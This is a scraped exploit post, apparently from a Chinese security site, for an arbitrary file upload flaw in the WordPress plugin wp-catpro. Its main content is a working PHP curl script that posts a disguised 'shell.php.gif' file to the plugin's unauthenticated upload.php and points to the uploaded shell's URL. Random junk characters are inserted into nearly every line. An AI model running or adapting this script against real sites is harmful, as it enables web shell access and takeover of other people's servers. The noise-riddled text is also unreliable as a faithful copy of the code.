Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
$ B. k; m6 E; b, _* Z2 ^% X' x3 l#-----------------------------------------------------------------------. I. T% _$ n7 K; O0 o3 A
1 Y" v+ g2 c* d9 `/ F8 B8 d- M作者 => Zikou-16) M+ S% R& e5 e9 A, N3 j* H
邮箱 => zikou16x@gmail.com7 F" r J9 ^6 w2 I, A* i
测试系统 : Windows 7 , Backtrack 5r3
: `0 i' ~& O+ D2 L7 E8 K/ L" w下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip! F& E9 `- O+ J/ Q
####9 S9 Z' J2 @. }- m
5 w. M7 q j9 U% L% L$ l& R
#=> Exploit 信息:. L) h; }' j o2 E6 t
------------------
+ u) c1 t5 ?- X* s! y# 攻击者可以上传 file/shell.php.gif- C/ k5 [ V. a/ l. v3 ^. |/ ?
# ("jpg", "gif", "png") // Allowed file extensions- v% O( Z+ h6 o w, r1 A9 p
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)& l! |( R( f5 o! H) g
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)+ [: }0 Z/ M; g1 @' O
------------------, y1 E, Q' w6 s* k
% S& v6 r( t* o5 T, A( L
#=> Exploit" K) ]0 T4 N5 Z8 u! v
-----------
, w1 q4 B" f4 X, w7 }9 N<?php. i2 M3 q4 w9 G' t3 j" G
# u& U1 z0 X. D' N$ }% i
$uploadfile="zik.php.gif";
* T: n3 O* C$ r. j$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
1 i/ r3 u5 i) L+ w9 T% d9 B5 Pcurl_setopt($ch, CURLOPT_POST, true);
. m, b9 \0 F( ~- w* L* |curl_setopt($ch, CURLOPT_POSTFIELDS,# _& @. }) k" |( t/ h
array('Filedata'=>"@$uploadfile",
: ?/ Y7 p) D: @+ ]/ t( ^5 ['folder'=>'/wp-content/uploads/catpro/'));
U$ I3 G2 e4 S8 h' hcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
d8 E& M4 S8 D: L. J8 n$postResult = curl_exec($ch);
0 \- K4 M6 W; ^ _- Z+ ~3 k5 o" rcurl_close($ch);. Z5 O |0 S' z' n4 M
2 j# ]9 @# g1 qprint "$postResult";
$ A+ z9 ~' @( F' ^7 Z
5 o& c( ~) i+ @" DShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
6 ?9 V8 } L E" w6 s- V ?># K- F! \, I: c) L* G* n8 a, I
<?php4 n" j6 @) W P6 p
phpinfo();
( U' t/ t1 B( a: _7 B. d?> |